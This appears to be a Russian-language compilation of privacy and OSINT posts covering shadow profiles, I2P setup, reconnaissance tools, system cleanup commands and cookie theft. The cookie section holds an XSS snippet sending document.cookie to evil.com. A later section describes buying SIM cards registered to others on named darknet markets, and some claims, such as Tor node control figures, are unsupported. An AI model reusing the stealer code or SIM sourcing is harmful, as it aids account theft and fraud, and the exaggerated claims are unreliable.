Shadow Profile — твой второй цифровой я, о котором ты даже не знаешь

Shadow Profile — это теневой профиль, который собирают на тебя без твоего участия, и чаще всего — без твоего согласия.
Даже если ты не зарегистрирован в социальной сети, она уже знает, кто ты, где ты, с кем ты общаешься и что тебе нравится.

Что такое Shadow Profile?
Это нелегально-легальная теневая карта твоей личности, которую формируют такие платформы как:
• Facebook / Meta
• TikTok
• Google
• LinkedIn
• Instagram
• Даже Telegram (через контакты)

Как он создаётся?

Shadow Profile рождается, когда:
• Твои друзья заливают контакты в приложение (твоя почта, номер, имя — уже там)
• Ты мелькал в чьих-то фотках — тебя распознаёт AI (лицо, одежда, гео)
• Ты был в одной Wi-Fi сети с кем-то, у кого TikTok или Meta
• Кто-то писал тебе email с Gmail — и он уже в системе
• Ты светился в Bluetooth-окружении устройства с соцсетями
• Камера/микрофон в сторис зацепила твой голос или силуэт

Что внутри Shadow Profile?

• Имя, номер, email
• Геолокация, где бывал
• Голос, лицо, язык общения
• Фото с других платформ
• Потенциальные интересы
• Связанные люди
• Предположительные соцсети

Всё это делается без твоей учётки.

Почему это опасно?
1. Ты не контролируешь этот профиль
2. Он может быть ошибочным, но используется в рекомендациях
3. Используется в фоновом таргете и нейросетях
4. Может попасть в утечки и слить данные, которые ты не отдавал
5. Его невозможно удалить вручную.

Как защититься?

Почти никак.

Но вот что можно сделать:
• Не использовать одну и ту же сим-карту в разных мессенджерах
• Не давать доступ к контактам (никогда!)
• Использовать burner-номера и почты
• Не светить лицо в чужих историях (или просить удалить)

Ты можешь думать, что если у тебя нет TikTok, Meta или Facebook — ты в безопасности.
Но нет: ты уже есть в их базах. Без пароля, без логина, без разрешения.
Это и есть теневой профиль.
• Удалить себя из чужих контактных книг (попросить друзей/знакомых)

Как удалить Shadow Profile или максимально сократить его?

Facebook / Meta (Instagram, WhatsApp)

Shadow Profile создаётся:
• когда кто-то загружает свою книгу контактов с твоим номером/именем/email
• когда ты появляешься в сторис/постах у других
• когда у тебя был Gmail или WhatsApp

Что делать:
• Перейди на Meta Contact Removal
• Там форма удаления твоих данных, даже если у тебя нет аккаунта
• Укажи номер и email — Facebook уберёт их из залитых баз
(но не забудь пройти код-подтверждение)

Эта форма — скрыта от обычных пользователей. Но она работает.

TikTok

TikTok сохраняет твой номер, даже если ты никогда не создавал аккаунт.

Что делать:
• Перейди на: TikTok Data Removal Form (official)
• В форме напиши, что хочешь удалить теневой профиль / shadow profile
Укажи номер телефона, почту, и то, что ты не пользователь
• Приложи скрин, если твой номер выдает тебя в рекомендациях

Совет: Делай это регулярно, особенно после смены номера или устройства.

Google / Gmail / YouTube

Ты когда-то писал человеку на Gmail — уже светишься.
Ты был на камере в чужом YouTube-видео — ты в ML базе Google Vision.

Что делать:
• Перейди на: Google Privacy Tool
• Выбери: “Удалить активность” → “Всё время”
• Удали все устройства, где ты не был авторизован
• Перейди в Google Takeout — запроси выгрузку данных
• После этого — отправь запрос на удаление профиля через форму поддержки
(support.google.com)

Реально полностью удалить только через формальные юридические запросы — но отчистить и зашифровать можно.

Дополнительно: анти-шадоу режим

5 правил цифрового анонима:
1. Никогда не используй основной номер или email в 2+ сервисах
2. Не давай приложениям доступ к контактам и микрофону
3. Запрещай тэги на фото и упоминания
4. Используй маскировку: VPN, временные номера, FaceSwap на фото
5. Удали аккаунты, которыми не пользуешься (через JustDelete.me)

Что такое I2P?

I2P (Invisible Internet Project) — это анонимная сеть-оверлей (аналог Tor), но со своими туннелями, адресами и принципами работы:
• Полная анонимность: скрывает IP, защищает трафик от анализа.
• Туннельная маршрутизация (Garlic Routing): передача пакетов в “луковичной обёртке”, но по-другому, чем у Tor.
• Собственный интернет: внутри сети — .i2p сайты, мессенджеры, файлообменники, блоги.

Особенности I2P
• Нет центра. Нет точек отказа.
• Трафик идёт по двойным шифрованным тоннелям, которые самообновляются.
• Невозможно “перехватить IP”, потому что… IP нет.
• Работает поверх обычного интернета, но выглядит как тень под ним.

Windows / macOS / Linux
1. Зайди на официальный сайт:
https://geti2p.net
2. Скачай I2P (Java версия):
• i2pinstall_x.xx.jar — подходит для всех ОС, если установлен Java.
3. Установи Java (если не установлен):
• https://adoptium.net → выбери Temurin JDK 17 или 21.
4. Установи I2P:

 
java -jar i2pinstall_*.jar

Шаг 2: Запуск I2P через графический интерфейс

• После установки I2P запускается как фоновый сервис.
• Откроется веб-консоль в браузере:
http://127.0.0.1:7657

Запуск Через консоль (Linux/macOS)

 
cd ~/i2p
sh i2prouter start

Настройка браузера для доступа в I2P

Внутренние .i2p сайты доступны только через прокси (127.0.0.1:4444)

Firefox (рекомендуется):
1. Открой настройки → Прокси → “Ручная настройка”:
• HTTP: 127.0.0.1, порт: 4444
• HTTPS: 127.0.0.1, порт: 4444
• SOCKS: 127.0.0.1, порт: 4447
2. Добавь исключения:
localhost, 127.0.0.1

Что важно знать
• I2P не обеспечивает выход в обычный интернет (в отличие от Tor).
• Сеть медленнее обычной — идеальна для размещения скрытых сервисов.
• Все соединения шифруются от конца до конца.

OSINT — не просто “пробив”, а целая разведка. Давайте разложим, какие у неё есть направления.

В сети часто вижу, как люди путают понятия: кто-то называет OSINT просто “доксингом”, кто-то думает, что это набор программ типа Sherlock и SpiderFoot.
На деле всё гораздо глубже. OSINT — это целая дисциплина, как киберразведка, только из открытых источников. И в ней — десятки направлений.


Вот разбор, какие бывают категории OSINT:
Personal OSINT
Ищем:
– username’ы, ники
– почты, номера
– соцсети, связи, комменты
– фотографии, EXIF
– утечки (базы, логины, пароли)
– Telegram, VK, X, Discord, Reddit, TikTok, Steam — всё палит

Используем:
– внимательность к деталям: повтор аватарки, одинаковые фразы
– фингерпринт ников, активности по времени, привычки в лексике
– визуальное сравнение лиц через поиск

1. Holehe — проверяет, зарегистрирован ли email на популярных сайтах (GitHub, Twitter, Instagram и т.п.)
2. PimEyes — поиск по лицу в открытых источниках (сильнее Google Images, находит редкие совпадения)

Corporate OSINT (по компаниям)
Узнать, кто за бизнесом, какие у него связи, проблемы и активы.

Ищем:
– ИНН / ОГРН
– домены и их владельцы
– учредители, директора
– дочки, аффилированные компании
– репутация, судебки
– вакансии, тех.стек, инфраструктура

Вывод: ты можешь собрать всю структуру фирмы, даже если она скрыта за оффшорами.

1. OpenCorporates — крупнейшая база данных компаний по миру, показывает директоров, связи, юр.адреса
2. WHOIS + crt.sh — проверка доменов + сертификатов → можно найти скрытые субдомены и связи между фирмами


Geo OSINT (геолокация, следы по фото/видео):
Где сделано фото? Где сейчас человек? Где находится объект?

Смотрим:
– задний фон, здания, реклама
– тени, солнце, стиль машин, номера
– язык и региональные фишки
– EXIF, если не убрали
– частота постов, временные метки

Google Maps + здравый смысл — и ты на точке с точностью до метра.

1. Google Earth + SunCalc — анализ расположения теней, солнца и местности на фото
2. Yandex Картинки — продвинутый визуальный поиск, часто даёт лучшие результаты по архитектуре и гео, чем Google


Visual OSINT (по фоткам и видео)

Понимаем, что происходит на изображениях.

Ищем:
– логотипы, надписи
– детали в отражениях
– стиль одежды, тату, часы
– архитектура, вывески
– фильтры (какая соцсеть использовалась)

Иногда одна фотка — это как целый паспорт, если смотреть внимательно.

1. ExifTool — извлекает метаданные из изображений (камера, координаты, дата съёмки)
2. InVID Toolkit — плагин для анализа видео/кадров (поиск по ключевым фрагментам, раскадровка, реверс-поиск)


SOCMINT (Social Media Intelligence)

Работа с соцсетями. Всё, что ты постишь — можно разобрать.

Анализируем:
– подписки
– лайки
– комменты
– друзей
– частоту и поведение

Ты можешь узнать характер человека, его окружение и интересы просто по мемам, которые он репостит.

1. Social Links / Skopenow (платные, но мощные) — собирают данные из соцсетей и визуализируют связи
2. tgstat.ru — анализирует Telegram-аккаунты и группы (активность, ID, упоминания, цитирования)


Tech OSINT / Cyber OSINT

Всё, что касается устройств, IP, доменов, цифровых следов.

Ищем:
– IP-адреса
– домены и субдомены
– SSL-сертификаты
– открытые порты
– CMS и движки сайтов
– старые кэши и Wayback Machine

Иногда IP на скрине + время публикации = место, с которого заливали.

1. Shodan.io — поиск уязвимых устройств, IP, камер, банкоматов и всего, что сидит в сети
2. Censys.io — альтернатива Shodan, с более аналитическим уклоном и богатой базой SSL и IP

WINDOWS: как вычистить кэш, телеметрию и скрытые трекеры

Очистка кэша приложений вручную

 
C:\Users\ТВОЁ_ИМЯ\AppData\Local\
C:\Users\ТВОЁ_ИМЯ\AppData\Roaming\
 

В этих папках хранятся кэш, настройки, логи и шпионские штуки от почти всех программ: Discord, Telegram, Spotify, Zoom и т.д

Удаляй папки от тех приложений, которые хочешь почистить:
например:

 
del /s /q %APPDATA%\Telegram Desktop
del /s /q %LOCALAPPDATA%\Discord 
 

Очистка системы и браузеров

запусти PowerShell от администратора и введи:

 
Clear-RecycleBin -Force
Get-ChildItem "C:\Windows\Temp" | Remove-Item -Force -Recurse
Get-ChildItem "$env:LOCALAPPDATA\Temp" | Remove-Item -Force -Recurse 
 

Отключение трекеров Windows
Вот как вырубить основное:
• Win + R → gpedit.msc
→ Конфигурация компьютера → Административные шаблоны → Компоненты Windows → Сбор и отправка данных → Разрешить телеметрию → “Отключено”

ИЛИ

скачай бесплатную утилиту O&O ShutUp10++
→ в один клик отключает ВСЮ телеметрию, слежку, рекламу, подсказки.

Слежка на уровне сети

Установи GlassWire или SimpleWall

→ они покажут все исходящие соединения приложений
→ можно заблокировать телеметрию, трекеры, аналитику и рекламу на уровне сети

LINUX:

Очистка кэша приложений:

 
rm -rf ~/.cache/*
rm -rf ~/.local/share/Trash/* 
 

Чистка кэша Telegram, Discord, Zoom:

 
rm -rf ~/.config/TelegramDesktop
rm -rf ~/.config/discord
rm -rf ~/.zoom
 

Почистить логи:

 
 sudo journalctl --vacuum-time=2d
 

Проверить интернет-соединения

 
ss -tup 
 

ИЛИ

 
netstat -tulpn 
 

Если ты видишь, что Telegram, Zoom, Spotify лезут в кучу IP — это не нормально. Особенно, когда программа неактивна.


Отключить автозапуск мусора

 
sudo nano ~/.config/autostart/ 
 

Почисти .desktop файлы от всего, что не нужно.

Установи OpenSnitch

Это межсетевой экран, который показывает, какие приложения шлют данные в интернет, и позволяет блокировать их в реальном времени.

Тир 1 новичок

Системы и программы:
• Tor Browser — классика анонимного серфа, простая в использовании
• Tails OS — live-система с Tor, ничего не сохраняет, идеально для новичков
• ProtonVPN (бесплатный тариф) — простой VPN без логов, подойдет для базовой защиты
• Signal — защищённый мессенджер для приватного общения
• DuckDuckGo — поисковик, который частично собирает инфу

Тир 2 — Средний уровень

Системы и программы:
• Whonix — Linux в VM с роутингом всего трафика через Tor
• ProtonVPN Plus / Mullvad VPN — серьезные VPN с прозрачной политикой
• AnonSurf (Parrot OS) — автонастройка Tor и VPN для всего трафика
• Signal + Session Messenger — мессенджеры с повышенной анонимностью
• QuteBrowser или Brave — браузеры с приватным режимом и блокировкой трекеров

Тир 3 — Профессиональный уровень (это для тех, кто чернухой промышляет)

Системы и программы:
• Qubes OS + Whonix — изоляция задач + максимальная анонимность
• VPN Chain (мульти-VPN) + Tor + ProxyChains — сложные цепочки для сокрытия трафика
• PinePhone с GrapheneOS / CalyxOS — смартфоны с защитой от слежки
• Ricochet (децентрализованный мессенджер) — общение без серверов
• OpenVPN / WireGuard — настраиваемые VPN протоколы с высоким уровнем безопасности

Тир 4 спецслужбы,хакеры

• I2P, Freenet, ZeroNet — децентрализованные анонимные сети
• Спутниковый интернет (Starlink + VPN) — обход локальных провайдеров
• Air-gapped компьютеры — физически изолированные от интернета для максимальной безопасности
• Аппаратные VPN-роутеры с OpenWRT — шифрование на уровне сети
• Tails OS + Hardware Security Module (HSM) — для генерации и хранения ключей вне досягаемости

Сайты для полного пробива домена:

WHOIS-информация

Узнаёшь владельца, регистратор, дату создания, почту, страну.
• who.is
• whoxy.com
• viewdns.info/whois/

DNS и IP-аналитика

Видишь IP-адреса, MX-записи, TXT-записи, реальные хостинги, поддомены.
• dnsdumpster.com
• viewdns.info
• dig/nslookup (в терминале)

SSL-сертификаты

Часто содержат реальные имена и почты владельцев.
• crt.sh
• censys.io

Поддомен-сканеры

Показывают скрытые и тестовые адреса вроде admin., dev., beta.
• subdomainfinder.c99.nl
• pentesttools.net
• rapiddns.io

История IP и доменов

Узнаёшь старые IP, смену хостинга, соседей по серверу.
• viewdns.info/iphistory/

Связанные домены и анализ структуры

Находит другие сайты на том же IP, Analytics ID, сертификате и т.д.
• builtwith.com
• netlas.io
• zoomeye.org
• shodan.io

автоматизация

• theHarvester — консольный инструмент для массового OSINT по домену
• Amass — мощный поддомен/вьювер
• Maltego — визуальные связи
• Spiderfoot — полуавтоматический анализ

Что такое куки?

Куки — это маленькие текстовые файлы, которые сайты сохраняют в твоём браузере, чтобы запомнить тебя. Например, когда ты заходишь на сайт и вводишь логин, куки хранят твои сессионные данные, чтобы не просить логин при каждой странице.

Куки бывают разные:

• Сессионные — живут пока открыт браузер.
• Постоянные — сохраняются дольше, например, для автоматического входа.
• HttpOnly куки — не доступны через JavaScript, повышают безопасность.
• Secure куки — передаются только по HTTPS.

Зачем воруют куки?

Потому что куки часто содержат ключи сессий и авторизации, которые дают доступ к аккаунтам пользователя без повторного ввода пароля. Украсть сессионные куки значит украсть сессию, получить доступ к акку

Способы похищения куки

1.XSS
чел внедряет вредоносный JavaScript на сайт (через уязвимость), который считывает куки пользователя и отправляет их на сервер этого чела.
• Как защититься: использовать HttpOnly куки, фильтровать ввод, использовать CSP.
2. Сниффинг (перехват трафика)
Если сайт не использует HTTPS, куки передаются открытым текстом, и чел в локальной сети или в публичном Wi-Fi может перехватить куки.
• Как защититься: использовать HTTPS всегда, избегать публичных Wi-Fi без VPN.
4. Малварь и трояны
шпионы могут извлечь куки прямо с компьютера.
• Как защититься: антивирус, осторожность с файлами, обновления системы.
5. Подделка DNS
Перенаправляет трафик пользователя на фейк сайт, чтобы украсть куки.

Что делать, чтобы не дать украсть свои куки?

• Используй только HTTPS-сайты.
• В браузерах включи защиту от отслеживания.
• Не вводи данные на подозрительных ресурсах.
• Не переходи по странным ссылкам.
• Используй расширения для блокировки скриптов (uBlock Origin, NoScript).
• Регулярно обновляй браузер и ОС.
• Используй VPN для защиты сети.
• Включай двухфакторную аутентификацию.
• Отключай сохранение паролей и куки на публичных устройствах.

как выглядит пример XSS атаки на куки

 
var cookie = document.cookie;
fetch('https://evil.com/steal?cookie=' + encodeURIComponent(cookie));

Такой скрипт читает все доступные куки и отправляет на сервер.
Но если куки выставлены с флагом HttpOnly, этот скрипт не сможет их прочесть.

Кража куки — незаконно и карается законом.

Tor не анонимен:

70–90% трафика проходит через Tor узлы, которые контролируются госами или теми, кто продаёт логи.

Если ты заходишь в сеть в 19:47 и трафик пошёл на какой-то Onion-сайт в 19:47 - сопоставить IP и поведение можно, даже без вскрытия пакетов.

NSA, BND, Роскомнадзор — этим занимаются.

Fingerprinting браузера

– двигаешь окно;
– меняешь масштаб;
– меняешь юзер-агент;
– включаешь JS/JSX/CSS-фичи

если тебе нужна анонимность:

• чистая система
• цепочка VPN+Tor+Whonix/Tails;
• MAC spoof, no JS, no cookies, no WebRTC;

где покупают SIM и зачем это нужно

Продаются SIM-карты, оформленные на других людей (иногда на мигрантов), либо вовсе не оформленные. Можно купить пачкой за наличку без документа.

Риски:
• SIM может быть “грязной” - использовалась до этого
• Быстрая блокировка
• Иногда это подстава (на номер оформлено преступление)

В даркнете продаются “готовые номера”, но они часто палёные, быстро блокируются и могут быть скомпрометированы.

Darknet-маркеты
Versus Market, Incognito, WHM (некоторые больше не работают)
• Форумы вроде Dread

На подпольных рынках.

Что важно понимать:
Такие SIM часто оформлены на чужие данные.
Использование таких номеров может привести к блокировке, утечке данных, а иногда и к уголовной ответственности.

Этот пост — образовательный. Автор не призывает к использованию поддельных документов, нарушению законов или обходу операторов связи. Всегда оценивайте правовые риски и помните: ваша безопасность — это не только конфиденциальность, но и законность ваших действий.

Радиочастотный отпечаток устройства.

Что это такое?
Любое устройство с Wi-Fi, Bluetooth или GSM излучает сигнал, даже если:
• не подключено к сети,
• работает в режиме в самолёте,
• выключена геолокация,
• сменён MAC-адрес или стоит VPN.

Это излучение не просто стандартный радиосигнал - оно немного искажено, причём у каждого устройства по-своему.
Именно это искажение - и есть радиочастотный отпечаток.

Почему сигналы отличаются?
Хотя все устройства используют одни и те же протоколы (Wi-Fi, BLE), внутри у них:
• немного разные антенны,
• разные усилители,
• небольшие ошибки на уровне сборки,
• искажения при включении и выключении передатчика.

Это создаёт уникальную подпись, которую нельзя скопировать.
Она не зависит от софта, прошивки, VPN и даже операционной системы.

Насколько уникален отпечаток
По исследованиям DARPA и NIST:
• точность идентификации одного устройства среди 100 — более 99%;
• устойчивость к замене прошивки — полная;
• даже устройства одной модели (например, iPhone 12) — обнаруживаются как разные.

Где это используется?
• Госструктуры отслеживают конкретные устройства на расстоянии (даже не зная MAC или IP);
• Системы безопасности внутри зданий фиксируют «незарегистрированные» гаджеты по излучению;
• Криминалистика использует отпечаток сигнала, чтобы доказать, какое устройство находилось на месте события;
• В некоторых странах анонимные встречи отслеживаются именно так - по радиосигнатурам телефонов.

Насколько это серьезно
• Подмена MAC-адреса не влияет — отпечаток остаётся.
• SIM-карта не имеет значения — устройство излучает, даже если SIM нет.
• Обычный режим в самолёте не всегда отключает BLE или Wi-Fi фоновые пинги.
• Даже при выключении экрана устройства периодически передают служебные сигналы.

Даже в режиме ожидания фиксируются характерные искажения радиомодуля.
Они не зависят от прошивки, настроек или наличия подключения.
Их нельзя отключить программно.
Фиксация возможна пассивно, без участия пользователя и без соединения.
Сравнение с базой позволяет установить конкретное устройство.
Метод устойчив к Спуфу, VPN и смене SIM.

Почему за обычными пользователями через радиомодуль, никто не следит:

1. Сложность
Радиофингерпринтинг требует специализированного оборудования, программного анализа и заранее собранной базы отпечатков. Это не масштабируется массово.

2. Отсутствие мотивации
Следить через эфир целесообразно только при реальных причинах: террористической активности, утечках данных.